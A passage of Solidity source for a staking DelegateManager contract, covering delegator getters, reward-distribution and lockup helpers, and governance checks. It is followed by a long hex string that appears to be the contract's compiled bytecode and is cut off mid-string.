// ========================================= View Functions ========================================= /** * @notice Get list of delegators for a given service provider * @param _sp - service provider address */ function getDelegatorsList(address _sp) external view returns (address[] memory) { _requireIsInitialized(); return spDelegateInfo[_sp].delegators; } /** * @notice Get total delegation from a given address * @param _delegator - delegator address */ function getTotalDelegatorStake(address _delegator) external view returns (uint256) { _requireIsInitialized(); return delegatorTotalStake[_delegator]; } /// @notice Get total amount delegated to a service provider function getTotalDelegatedToServiceProvider(address _sp) external view returns (uint256) { _requireIsInitialized(); return spDelegateInfo[_sp].totalDelegatedStake; } /// @notice Get total delegated stake locked up for a service provider function getTotalLockedDelegationForServiceProvider(address _sp) external view returns (uint256) { _requireIsInitialized(); return spDelegateInfo[_sp].totalLockedUpStake; } /// @notice Get total currently staked for a delegator, for a given service provider function getDelegatorStakeForServiceProvider(address _delegator, address _serviceProvider) external view returns (uint256) { _requireIsInitialized(); return delegateInfo[_delegator][_serviceProvider]; } /** * @notice Get status of pending undelegate request for a given address * @param _delegator - address of the delegator */ function getPendingUndelegateRequest(address _delegator) external view returns (address target, uint256 amount, uint256 lockupExpiryBlock) { _requireIsInitialized(); UndelegateStakeRequest memory req = undelegateRequests[_delegator]; return (req.serviceProvider, req.amount, req.lockupExpiryBlock); } /** * @notice Get status of pending remove delegator request for a given address * @param _serviceProvider - address of the service provider * @param _delegator - address of the delegator * @return - current lockup expiry block for remove delegator request */ function getPendingRemoveDelegatorRequest( address _serviceProvider, address _delegator ) external view returns (uint256) { _requireIsInitialized(); return removeDelegatorRequests[_serviceProvider][_delegator]; } /** * @notice Get minDelegationAmount for given SP * @param _serviceProvider - address of the service provider * @return - minDelegationAmount for given SP */ function getSPMinDelegationAmount(address _serviceProvider) external view returns (uint256) { return spMinDelegationAmounts[_serviceProvider]; } /// @notice Get current undelegate lockup duration function getUndelegateLockupDuration() external view returns (uint256) { _requireIsInitialized(); return undelegateLockupDuration; } /// @notice Current maximum delegators function getMaxDelegators() external view returns (uint256) { _requireIsInitialized(); return maxDelegators; } /// @notice Get minimum delegation amount function getMinDelegationAmount() external view returns (uint256) { _requireIsInitialized(); return minDelegationAmount; } /// @notice Get the duration for remove delegator request lockup function getRemoveDelegatorLockupDuration() external view returns (uint256) { _requireIsInitialized(); return removeDelegatorLockupDuration; } /// @notice Get the duration for evaluation of remove delegator operations function getRemoveDelegatorEvalDuration() external view returns (uint256) { _requireIsInitialized(); return removeDelegatorEvalDuration; } /// @notice Get the Governance address function getGovernanceAddress() external view returns (address) { _requireIsInitialized(); return governanceAddress; } /// @notice Get the ServiceProviderFactory address function getServiceProviderFactoryAddress() external view returns (address) { _requireIsInitialized(); return serviceProviderFactoryAddress; } /// @notice Get the ClaimsManager address function getClaimsManagerAddress() external view returns (address) { _requireIsInitialized(); return claimsManagerAddress; } /// @notice Get the Staking address function getStakingAddress() external view returns (address) { _requireIsInitialized(); return stakingAddress; } // ========================================= Internal functions ========================================= /** * @notice Helper function for claimRewards to get balances from Staking contract and do validation * @param spFactory - reference to ServiceProviderFactory contract * @param _serviceProvider - address for which rewards are being claimed * @return (totalBalanceInStaking, totalBalanceInSPFactory, totalActiveFunds, spLockedStake, totalRewards, deployerCut) */ function _validateClaimRewards(ServiceProviderFactory spFactory, address _serviceProvider) internal returns ( uint256 totalBalanceInStaking, uint256 totalBalanceInSPFactory, uint256 totalActiveFunds, uint256 totalRewards, uint256 deployerCut ) { // Account for any pending locked up stake for the service provider (uint256 spLockedStake,) = spFactory.getPendingDecreaseStakeRequest(_serviceProvider); uint256 totalLockedUpStake = ( spDelegateInfo[_serviceProvider].totalLockedUpStake.add(spLockedStake) ); // Process claim for msg.sender // Total locked parameter is equal to delegate locked up stake + service provider locked up stake uint256 mintedRewards = ClaimsManager(claimsManagerAddress).processClaim( _serviceProvider, totalLockedUpStake ); // Amount stored in staking contract for owner totalBalanceInStaking = Staking(stakingAddress).totalStakedFor(_serviceProvider); // Amount in sp factory for claimer ( totalBalanceInSPFactory, deployerCut, ,,, ) = spFactory.getServiceProviderDetails(_serviceProvider); // Require active stake to claim any rewards // Amount in delegate manager staked to service provider uint256 totalBalanceOutsideStaking = ( totalBalanceInSPFactory.add(spDelegateInfo[_serviceProvider].totalDelegatedStake) ); totalActiveFunds = totalBalanceOutsideStaking.sub(totalLockedUpStake); require( mintedRewards == totalBalanceInStaking.sub(totalBalanceOutsideStaking), "DelegateManager: Reward amount mismatch" ); // Emit claim event emit Claim(_serviceProvider, totalRewards, totalBalanceInStaking); return ( totalBalanceInStaking, totalBalanceInSPFactory, totalActiveFunds, mintedRewards, deployerCut ); } /** * @notice Perform state updates when a delegate stake has changed * @param _delegator - address of delegator * @param _serviceProvider - address of service provider * @param _totalServiceProviderDelegatedStake - total delegated to this service provider * @param _totalStakedForSpFromDelegator - total delegated to this service provider by delegator * @param _totalDelegatorStake - total delegated from this delegator address */ function _updateDelegatorStake( address _delegator, address _serviceProvider, uint256 _totalServiceProviderDelegatedStake, uint256 _totalStakedForSpFromDelegator, uint256 _totalDelegatorStake ) internal { // Update total delegated for SP spDelegateInfo[_serviceProvider].totalDelegatedStake = _totalServiceProviderDelegatedStake; // Update amount staked from this delegator to targeted service provider delegateInfo[_delegator][_serviceProvider] = _totalStakedForSpFromDelegator; // Update total delegated from this delegator _updateDelegatorTotalStake(_delegator, _totalDelegatorStake); } /** * @notice Reset pending undelegate stake request * @param _delegator - address of delegator */ function _resetUndelegateStakeRequest(address _delegator) internal { _updateUndelegateStakeRequest(_delegator, address(0), 0, 0); } /** * @notice Perform updates when undelegate request state has changed * @param _delegator - address of delegator * @param _serviceProvider - address of service provider * @param _amount - amount being undelegated * @param _lockupExpiryBlock - block at which stake can be undelegated */ function _updateUndelegateStakeRequest( address _delegator, address _serviceProvider, uint256 _amount, uint256 _lockupExpiryBlock ) internal { // Update lockup information undelegateRequests[_delegator] = UndelegateStakeRequest({ lockupExpiryBlock: _lockupExpiryBlock, amount: _amount, serviceProvider: _serviceProvider }); } /** * @notice Update total amount delegated from an address * @param _delegator - address of service provider * @param _amount - updated delegator total */ function _updateDelegatorTotalStake(address _delegator, uint256 _amount) internal { delegatorTotalStake[_delegator] = _amount; } /** * @notice Update amount currently locked up for this service provider * @param _serviceProvider - address of service provider * @param _updatedLockupAmount - updated lock up amount */ function _updateServiceProviderLockupAmount( address _serviceProvider, uint256 _updatedLockupAmount ) internal { spDelegateInfo[_serviceProvider].totalLockedUpStake = _updatedLockupAmount; } function _removeFromDelegatorsList(address _serviceProvider, address _delegator) internal { for (uint256 i = 0; i < spDelegateInfo[_serviceProvider].delegators.length; i++) { if (spDelegateInfo[_serviceProvider].delegators[i] == _delegator) { // Overwrite and shrink delegators list spDelegateInfo[_serviceProvider].delegators[i] = spDelegateInfo[_serviceProvider].delegators[spDelegateInfo[_serviceProvider].delegators.length - 1]; spDelegateInfo[_serviceProvider].delegators.length--; break; } } } /** * @notice Helper function to distribute rewards to any delegators * @param _sp - service provider account tracked in staking * @param _totalActiveFunds - total funds minus any locked stake * @param _totalRewards - total rewaards generated in this round * @param _deployerCut - service provider cut of delegate rewards, defined as deployerCut / deployerCutBase * @param _deployerCutBase - denominator value for calculating service provider cut as a % * @return (totalBalanceInStaking, totalBalanceInSPFactory, totalBalanceOutsideStaking) */ function _distributeDelegateRewards( address _sp, uint256 _totalActiveFunds, uint256 _totalRewards, uint256 _deployerCut, uint256 _deployerCutBase ) internal returns (uint256 totalDelegatedStakeIncrease) { // Traverse all delegates and calculate their rewards // As each delegate reward is calculated, increment SP cut reward accordingly for (uint256 i = 0; i < spDelegateInfo[_sp].delegators.length; i++) { address delegator = spDelegateInfo[_sp].delegators[i]; uint256 delegateStakeToSP = delegateInfo[delegator][_sp]; // Subtract any locked up stake if (undelegateRequests[delegator].serviceProvider == _sp) { delegateStakeToSP = delegateStakeToSP.sub(undelegateRequests[delegator].amount); } // Calculate rewards by ((delegateStakeToSP / totalActiveFunds) * totalRewards) uint256 rewardsPriorToSPCut = ( delegateStakeToSP.mul(_totalRewards) ).div(_totalActiveFunds); // Multiply by deployer cut fraction to calculate reward for SP // Operation constructed to perform all multiplication prior to division // uint256 spDeployerCut = (rewardsPriorToSPCut * deployerCut ) / (deployerCutBase); // = ((delegateStakeToSP * totalRewards) / totalActiveFunds) * deployerCut ) / (deployerCutBase); // = ((delegateStakeToSP * totalRewards * deployerCut) / totalActiveFunds ) / (deployerCutBase); // = (delegateStakeToSP * totalRewards * deployerCut) / (deployerCutBase * totalActiveFunds); uint256 spDeployerCut = ( (delegateStakeToSP.mul(_totalRewards)).mul(_deployerCut) ).div( _totalActiveFunds.mul(_deployerCutBase) ); // Increase total delegate reward in DelegateManager // Subtract SP reward from rewards to calculate delegate reward // delegateReward = rewardsPriorToSPCut - spDeployerCut; delegateInfo[delegator][_sp] = ( delegateInfo[delegator][_sp].add(rewardsPriorToSPCut.sub(spDeployerCut)) ); // Update total for this delegator _updateDelegatorTotalStake( delegator, delegatorTotalStake[delegator].add(rewardsPriorToSPCut.sub(spDeployerCut)) ); totalDelegatedStakeIncrease = ( totalDelegatedStakeIncrease.add(rewardsPriorToSPCut.sub(spDeployerCut)) ); } return (totalDelegatedStakeIncrease); } /** * @notice Set the governance address after confirming contract identity * @param _governanceAddress - Incoming governance address */ function _updateGovernanceAddress(address _governanceAddress) internal { require( Governance(_governanceAddress).isGovernanceAddress() == true, "DelegateManager: _governanceAddress is not a valid governance contract" ); governanceAddress = _governanceAddress; } /** * @notice Set the remove delegator lockup duration after validating against governance * @param _duration - Incoming remove delegator duration value */ function _updateRemoveDelegatorLockupDuration(uint256 _duration) internal { Governance governance = Governance(governanceAddress); require( _duration > governance.getVotingPeriod() + governance.getExecutionDelay(), "DelegateManager: removeDelegatorLockupDuration duration must be greater than governance votingPeriod + executionDelay" ); removeDelegatorLockupDuration = _duration; } /** * @notice Set the undelegate lockup duration after validating against governance * @param _duration - Incoming undelegate lockup duration value */ function _updateUndelegateLockupDuration(uint256 _duration) internal { Governance governance = Governance(governanceAddress); require( _duration > governance.getVotingPeriod() + governance.getExecutionDelay(), "DelegateManager: undelegateLockupDuration duration must be greater than governance votingPeriod + executionDelay" ); undelegateLockupDuration = _duration; } /** * @notice Returns if delegator has delegated to a service provider * @param _delegator - address of delegator * @param _serviceProvider - address of service provider * @return boolean indicating whether delegator exists for service provider */ function _delegatorExistsForSP( address _delegator, address _serviceProvider ) internal view returns (bool) { for (uint256 i = 0; i < spDelegateInfo[_serviceProvider].delegators.length; i++) { if (spDelegateInfo[_serviceProvider].delegators[i] == _delegator) { return true; } } // Not found return false; } /** * @notice Determine if a claim is pending for this service provider * @param _sp - address of service provider * @return boolean indicating whether a claim is pending */ function _claimPending(address _sp) internal view returns (bool) { ClaimsManager claimsManager = ClaimsManager(claimsManagerAddress); return claimsManager.claimPending(_sp); } /** * @notice Determine if a decrease request has been initiated * @param _delegator - address of delegator * @return boolean indicating whether a decrease request is pending */ function _undelegateRequestIsPending(address _delegator) internal view returns (bool) { return ( (undelegateRequests[_delegator].lockupExpiryBlock != 0) && (undelegateRequests[_delegator].amount != 0) && (undelegateRequests[_delegator].serviceProvider != address(0)) ); } // ========================================= Private Functions ========================================= function _requireStakingAddressIsSet() private view { require( stakingAddress != address(0x00), "DelegateManager: stakingAddress is not set" ); } function _requireServiceProviderFactoryAddressIsSet() private view { require( serviceProviderFactoryAddress != address(0x00), "DelegateManager: serviceProviderFactoryAddress is not set" ); } function _requireClaimsManagerAddressIsSet() private view { require( claimsManagerAddress != address(0x00), "DelegateManager: claimsManagerAddress is not set" ); } }
0x608060405234801561001057600080fd5b50600436106102315760003560e01c8063862c95b911610130578063b9ca6067116100b8578063ef5cfb8c1161007c578063ef5cfb8c14610656578063f4e0d9ac1461067c578063f5c081ad146106a2578063feaf8048146106bf578063fed3d1fd146106c757610231565b8063b9ca606714610591578063ca31b4b5146105bf578063cfc16254146105e5578063e0d229ff1461060b578063e37e191c1461063957610231565b8063a7bac487116100ff578063a7bac487146104f4578063aa70d23614610520578063b0303b7514610546578063b11caba51461056c578063b26df5641461057457610231565b8063862c95b9146104795780639336086f14610496578063948e5426146104e45780639d974fb5146104ec57610231565b80634a551fe7116101be578063732524941161018257806373252494146104155780637dc1eeba1461041d5780638129fc1c1461044357806382d51e2c1461044b5780638504f1881461045357610231565b80634a551fe7146103685780635ad15ada1461039657806368579837146103b35780636a53f10f146103df578063721e4221146103e757610231565b80631794bb3c116102055780631794bb3c146102845780631d0f283a146102bc578063201ae9db146102ea5780633c323a1b146103105780633d82e3c11461033c57610231565b80622ae74a1461023657806309a945a01461025a5780630e9ed68b1461027457806315fe40701461027c575b600080fd5b61023e61073d565b604080516001600160a01b039092168252519081900360200190f35b610262610758565b60408051918252519081900360200190f35b61023e610769565b610262610783565b6102ba6004803603606081101561029a57600080fd5b506001600160a01b03813581169160208101359091169060400135610794565b005b6102ba600480360360408110156102d257600080fd5b506001600160a01b0381358116916020013516610891565b6102ba6004803603602081101561030057600080fd5b50356001600160a01b0316610a10565b6102626004803603604081101561032657600080fd5b506001600160a01b038135169060200135610af2565b6102ba6004803603604081101561035257600080fd5b50803590602001356001600160a01b0316610e9e565b6102626004803603604081101561037e57600080fd5b506001600160a01b0381358116916020013516611640565b6102ba600480360360208110156103ac57600080fd5b5035611676565b6102ba600480360360408110156103c957600080fd5b506001600160a01b038135169060200135611741565b6102ba6118f9565b6102ba600480360360408110156103fd57600080fd5b506001600160a01b03813581169160200135166119e0565b61023e611ba3565b6102626004803603602081101561043357600080fd5b50356001600160a01b0316611bc2565b6102ba611beb565b610262611c9a565b6102626004803603602081101561046957600080fd5b50356001600160a01b0316611cab565b6102ba6004803603602081101561048f57600080fd5b5035611cd1565b6104bc600480360360208110156104ac57600080fd5b50356001600160a01b0316611d9c565b604080516001600160a01b039094168452602084019290925282820152519081900360600190f35b61023e611dfe565b610262611e18565b6102626004803603604081101561050a57600080fd5b506001600160a01b038135169060200135611e29565b6102ba6004803603602081101561053657600080fd5b50356001600160a01b03166120bd565b6102626004803603602081101561055c57600080fd5b50356001600160a01b031661219f565b6102626121c5565b6102ba6004803603602081101561058a57600080fd5b50356121d6565b610262600480360360408110156105a757600080fd5b506001600160a01b03813581169160200135166122a1565b610262600480360360208110156105d557600080fd5b50356001600160a01b03166122d7565b6102ba600480360360208110156105fb57600080fd5b50356001600160a01b03166122f2565b6102ba6004803603604081101561062157600080fd5b506001600160a01b03813581169160200135166123e5565b6102ba6004803603602081101561064f57600080fd5b50356127b5565b6102ba6004803603602081101561066c57600080fd5b50356001600160a01b0316612884565b6102ba6004803603602081101561069257600080fd5b50356001600160a01b0316612aab565b6102ba600480360360208110156106b857600080fd5b5035612b8d565b610262612c5c565b6106ed600480360360208110156106dd57600080fd5b50356001600160a01b031661315e565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610729578181015183820152602001610711565b505050509050019250505060405180910390f35b60006107476131df565b506035546001600160a01b03165b90565b60006107626131df565b5060375490565b60006107736131df565b506034546001600160a01b031690565b600061078d6131df565b5060385490565b600054610100900460ff16806107ad57506107ad61326a565b806107bb575060005460ff16155b6107f65760405162461bcd60e51b815260040180806020018281038252602e81526020018061452e602e913960400191505060405180910390fd5b600054610100900460ff16158015610821576000805460ff1961ff0019909116610100171660011790555b61082a83613270565b603c80546001600160a01b0319166001600160a01b03861617905560af60385568056bc75e2d6310000060395561085f611beb565b6108688261333d565b61087361b5bb61346c565b6119f6603b55801561088b576000805461ff00191690555b50505050565b336001600160a01b03831614806108b7575060335461010090046001600160a01b031633145b6040518060600160405280603981526020016143ed60399139906109595760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561091e578181015183820152602001610906565b50505050905090810190601f16801561094b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506001600160a01b038083166000908152604160209081526040808320938516835292905220546109bb5760405162461bcd60e51b81526004018080602001828103825260238152602001806142a26023913960400191505060405180910390fd5b6001600160a01b03808316600081815260416020908152604080832094861680845294909152808220829055517fd7a1b9c3d30d51412b848777bffec951c371bf58a13788d70c12f534f82d4cb39190a35050565b610a186131df565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f46035913990610aa75760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50603580546001600160a01b0319166001600160a01b0383169081179091556040517f373f84f0177a6c2e019f2e0e73c988359e56e111629a261c9bba5c968c383ed190600090a250565b6000610afc6131df565b610b0461359b565b610b0c6135e4565b610b1461362b565b610b1d83613672565b15610b595760405162461bcd60e51b815260040180806020018281038252603e815260200180614264603e913960400191505060405180910390fd5b60345460408051636c483ff360e01b81526001600160a01b0386811660048301523360248301819052604483018790529251929316918291636c483ff391606480830192600092919082900301818387803b158015610bb757600080fd5b505af1158015610bcb573d6000803e3d6000fd5b50505050610bd982866136f7565b610c67576001600160a01b038581166000818152603d602090815260408220600201805460018101825581845291832090910180546001600160a01b0319169487169490941790935560385491905290541115610c675760405162461bcd60e51b815260040180806020018281038252602c8152602001806141c3602c913960400191505060405180910390fd5b6001600160a01b0385166000908152603d6020526040902054610cfc9083908790610c98908863ffffffff61378116565b6001600160a01b038087166000908152603e60209081526040808320938d1683529290522054610cce908963ffffffff61378116565b6001600160a01b0387166000908152603f6020526040902054610cf7908a63ffffffff61378116565b6137e2565b6039546001600160a01b038084166000908152603e60209081526040808320938a168352929052205410801590610d6257506001600160a01b038086166000818152604260209081526040808320549487168352603e8252808320938352929052205410155b6040518060600160405280603381526020016144266033913990610dc75760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50603554604080516303a378e360e61b81526001600160a01b0388811660048301529151919092169163e8de38c0916024808301926000929190829003018186803b158015610e1557600080fd5b505afa158015610e29573d6000803e3d6000fd5b5050505083856001600160a01b0316836001600160a01b03167f82d701855f3ac4a098fc0249261c5e06d1050d23c8aa351fae8abefc2a464fda60405160405180910390a4506001600160a01b039081166000908152603e602090815260408083209387168352929052205490505b92915050565b610ea66131df565b610eae61359b565b610eb66135e4565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f46035913990610f455760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b5060345460355460408051634b341aed60e01b81526001600160a01b03858116600483015291519382169391909216916000918491634b341aed916024808301926020929190829003018186803b158015610f9f57600080fd5b505afa158015610fb3573d6000803e3d6000fd5b505050506040513d6020811015610fc957600080fd5b505190508481101561100c5760405162461bcd60e51b815260040180806020018281038252603e815260200180614729603e913960400191505060405180910390fd5b604080516001624d61bb60e11b031981526001600160a01b03868116600483015282516000939186169263ff653c8a926024808301939192829003018186803b15801561105857600080fd5b505afa15801561106c573d6000803e3d6000fd5b505050506040513d604081101561108257600080fd5b5051905080156110fd57826001600160a01b03166354350cee866040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156110e457600080fd5b505af11580156110f8573d6000803e3d6000fd5b505050505b6000836001600160a01b031663f273e9a8876040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060c06040518083038186803b15801561115557600080fd5b505afa158015611169573d6000803e3d6000fd5b505050506040513d60c081101561117f57600080fd5b50519050806111bf5760405162461bcd60e51b81526004018080602001828103825260308152602001806144fe6030913960400191505060405180910390fd5b846001600160a01b0316633d82e3c188886040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b15801561121f57600080fd5b505af1158015611233573d6000803e3d6000fd5b505050506000856001600160a01b0316634b341aed886040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561128f57600080fd5b505afa1580156112a3573d6000803e3d6000fd5b505050506040513d60208110156112b957600080fd5b5051604051909150819089906001600160a01b038a16907fe05ad941535eea602efe44ddd7d96e5db6ad9a4865c360257aad8cf4c0a9446990600090a46000805b6001600160a01b0389166000908152603d6020526040902060020154811015611540576001600160a01b0389166000908152603d6020526040812060020180548390811061134457fe5b60009182526020808320909101546001600160a01b03908116808452603e83526040808520928f16855291909252822054909250906113998961138d888563ffffffff61382916565b9063ffffffff61388216565b90506114056113ae838363ffffffff6138c416565b603e6000866001600160a01b03166001600160a01b0316815260200190815260200160002060008f6001600160a01b03166001600160a01b03168152602001908152602001600020546138c490919063ffffffff16565b603e6000856001600160a01b03166001600160a01b0316815260200190815260200160002060008e6001600160a01b03166001600160a01b03168152602001908152602001600020819055506114958361149061146b84866138c490919063ffffffff16565b6001600160a01b0387166000908152603f60205260409020549063ffffffff6138c416565b613906565b6114b56114a8838363ffffffff6138c416565b869063ffffffff61378116565b6001600160a01b03841660009081526040602081905290206001015490955015611535576001600160a01b0380841660009081526040602081815281832080546001918201549516808552603d909252919092200154909190611529908390611524908463ffffffff6138c416565b613922565b61153285613941565b50505b5050506001016112fa565b506001600160a01b0388166000908152603d602052604090205461156a908263ffffffff6138c416565b6001600160a01b0389166000908152603d6020526040812091909155611596868463ffffffff6138c416565b905060006115aa828463ffffffff6138c416565b90506001600160a01b03881663b90bc8528b6115cc888563ffffffff6138c416565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561161b57600080fd5b505af115801561162f573d6000803e3d6000fd5b505050505050505050505050505050565b600061164a6131df565b506001600160a01b03918216600090815260416020908152604080832093909416825291909152205490565b61167e6131df565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f4603591399061170d5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50603981905560405181907f2a565983434870f0302d93575c6ee07199767028d6f294c9d1d6a1cd0979f1e190600090a250565b6117496131df565b816001600160a01b0316336001600160a01b03161460405180606001604052806038815260200161469160389139906117c35760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b5060355460408051631e4e7d3560e31b81526001600160a01b0385811660048301529151600093929092169163f273e9a89160248082019260c092909190829003018186803b15801561181557600080fd5b505afa158015611829573d6000803e3d6000fd5b505050506040513d60c081101561183f57600080fd5b50606090810151604080519283019052603880835290925082151591906146916020830139906118b05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b506001600160a01b038316600081815260426020526040808220859055518492917fb5cbea0eea08e03cbff1c1db26b3125d44b4dd567d36c988c01ca3f6e694aea391a3505050565b6119016131df565b3361190b8161394f565b6119465760405162461bcd60e51b81526004018080602001828103825260288152602001806143c56028913960400191505060405180910390fd5b6001600160a01b038082166000908152604060208181528183206001808201549154909516808552603d9092529190922090920154611991908290611524908563ffffffff6138c416565b61199a83613941565b81816001600160a01b0316846001600160a01b03167fdd2f922d72fb35f887498001c4c6bc61a53f40a51ad38c576e092bc7c688352360405160405180910390a4505050565b6119e86131df565b336001600160a01b0383161480611a0e575060335461010090046001600160a01b031633145b6040518060600160405280603981526020016143ed6039913990611a735760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b506001600160a01b0380831660009081526041602090815260408083209385168352929052205415611ad65760405162461bcd60e51b81526004018080602001828103825260318152602001806145a86031913960400191505060405180910390fd5b611ae081836136f7565b6040518060600160405280603081526020016142c56030913990611b455760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50603a546001600160a01b038381166000818152604160209081526040808320948716808452949091528082204390950194859055517fd6f2f5867e98ef295f42626fa37ec5192436d80d6b552dc38c971b9ddbe16e109190a45050565b6000611bad6131df565b5060335461010090046001600160a01b031690565b6000611bcc6131df565b506001600160a01b03166000908152603d602052604090206001015490565b600054610100900460ff1680611c045750611c0461326a565b80611c12575060005460ff16155b611c4d5760405162461bcd60e51b815260040180806020018281038252602e81526020018061452e602e913960400191505060405180910390fd5b600054610100900460ff16158015611c78576000805460ff1961ff0019909116610100171660011790555b6033805460ff191660011790558015611c97576000805461ff00191690555b50565b6000611ca46131df565b50603a5490565b6000611cb56131df565b506001600160a01b03166000908152603d602052604090205490565b611cd96131df565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f46035913990611d685760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50603881905560405181907f6ba19979a519727673bc99b911e17ce26c5b91bbf7471cfc082fea38eb2a488490600090a250565b6000806000611da96131df565b611db161415b565b505050506001600160a01b03908116600090815260406020818152918190208151606081018352815490941680855260018201549385018490526002909101549390910183905292909190565b6000611e086131df565b506036546001600160a01b031690565b6000611e226131df565b50603b5490565b6000611e336131df565b611e3b61362b565b60008211611e7a5760405162461bcd60e51b815260040180806020018281038252604c81526020018061455c604c913960600191505060405180910390fd5b611e8383613672565b15611ebf5760405162461bcd60e51b815260040180806020018281038252604681526020018061431f6046913960600191505060405180910390fd5b33611eca81856136f7565b6040518060600160405280603081526020016142c56030913990611f2f5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50611f398161394f565b15611f755760405162461bcd60e51b815260040180806020018281038252602b8152602001806146c9602b913960400191505060405180910390fd5b6001600160a01b038082166000908152603e602090815260408083209388168352929052205480841115611fda5760405162461bcd60e51b81526004018080602001828103825260578152602001806145d96057913960600191505060405180910390fd5b6000611ff16037544361378190919063ffffffff16565b9050611fff838787846139bb565b6001600160a01b0386166000908152603d6020526040902060010154612031908790611524908863ffffffff61378116565b84866001600160a01b0316846001600160a01b03167f0c0ebdfe3f3ccdb3ad070f98a3fb9656a7b8781c299a5c0cd0f37e4d5a02556d846040518082815260200191505060405180910390a46001600160a01b038084166000908152603e60209081526040808320938a16835292905220546120b3908663ffffffff6138c416565b9695505050505050565b6120c56131df565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f460359139906121545760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50603680546001600160a01b0319166001600160a01b0383169081179091556040517f3b3679838ffd21f454712cf443ab98f11d36d5552da016314c5cbe364a10c24390600090a250565b60006121a96131df565b506001600160a01b03166000908152603f602052604090205490565b60006121cf6131df565b5060395490565b6121de6131df565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f4603591399061226d5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b50603b81905560405181907f10c34e4da809ce0e816d31562e6f5a3d38f913c470dd384ed0a73710281b23dd90600090a250565b60006122ab6131df565b506001600160a01b039182166000908152603e6020908152604080832093909416825291909152205490565b6001600160a01b031660009081526042602052604090205490565b6122fa6131df565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f460359139906123895760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b5061239381613270565b60338054610100600160a81b0319166101006001600160a01b038416908102919091179091556040517fd0e77a42021adb46a85dc0dbcdd75417f2042ed5c51474cb43a25ce0f1049a1e90600090a250565b6123ed6131df565b6123f561359b565b336001600160a01b038316148061241b575060335461010090046001600160a01b031633145b6040518060600160405280603981526020016143ed60399139906124805760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b506001600160a01b038083166000908152604160209081526040808320938516835292905220546124e25760405162461bcd60e51b81526004018080602001828103825260238152602001806142a26023913960400191505060405180910390fd5b6001600160a01b038083166000908152604160209081526040808320938516835292905220544310156125465760405162461bcd60e51b815260040180806020018281038252602781526020018061466a6027913960400191505060405180910390fd5b603b546001600160a01b038084166000908152604160209081526040808320938616835292905220540143106125ad5760405162461bcd60e51b815260040180806020018281038252603a815260200180614630603a913960400191505060405180910390fd5b6001600160a01b038082166000818152603e60209081526040808320878616808552925280832054603454825163666cc1c560e11b8152600481019490945260248401959095526044830181905290519094939093169263ccd9838a9260648084019391929182900301818387803b15801561262857600080fd5b505af115801561263c573d6000803e3d6000fd5b5050506001600160a01b0384166000908152603d60205260409020546126d0915083908590612671908563ffffffff6138c416565b6001600160a01b038087166000908152603e60209081526040808320938b16835292905220546126a7908663ffffffff6138c416565b6001600160a01b0387166000908152603f6020526040902054610cf7908763ffffffff6138c416565b6126d98261394f565b801561270157506001600160a01b038281166000908152604060208190529020548116908416145b15612752576001600160a01b038083166000908152604060208181528183206001908101549488168452603d909152912001546127499185916115249163ffffffff6138c416565b61275282613941565b61275c8383613a13565b6001600160a01b0380841660008181526041602090815260408083209487168084529490915280822082905551849392917f912ca4f48e16ea4ec940ef9071c9cc3eb57f01c07e052b1f797caaade6504f8b91a4505050565b6127bd6131df565b603360019054906101000a90046001600160a01b03166001600160a01b0316336001600160a01b0316146040518060600160405280603581526020016146f4603591399061284c5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561091e578181015183820152602001610906565b506128568161333d565b60405181907fcb0491a1854ba445c5afa53dcbe6d6224e52d99cb73840cb58b0c5b79cd434bf90600090a250565b61288c6131df565b61289461359b565b61289c6135e4565b6128a461362b565b6035546001600160a01b03166000808080806128c08688613b42565b9450945094509450945081600014156128de57505050505050611c97565b6000612951888585858b6001600160a01b0316636c75fdf36040518163ffffffff1660e01b815260040160206040518083038186803b15801561292057600080fd5b505afa158015612934573d6000803e3d6000fd5b505050506040513d602081101561294a57600080fd5b5051613e55565b6001600160a01b0389166000908152603d602052604090205490915061297d908263ffffffff61378116565b6001600160a01b038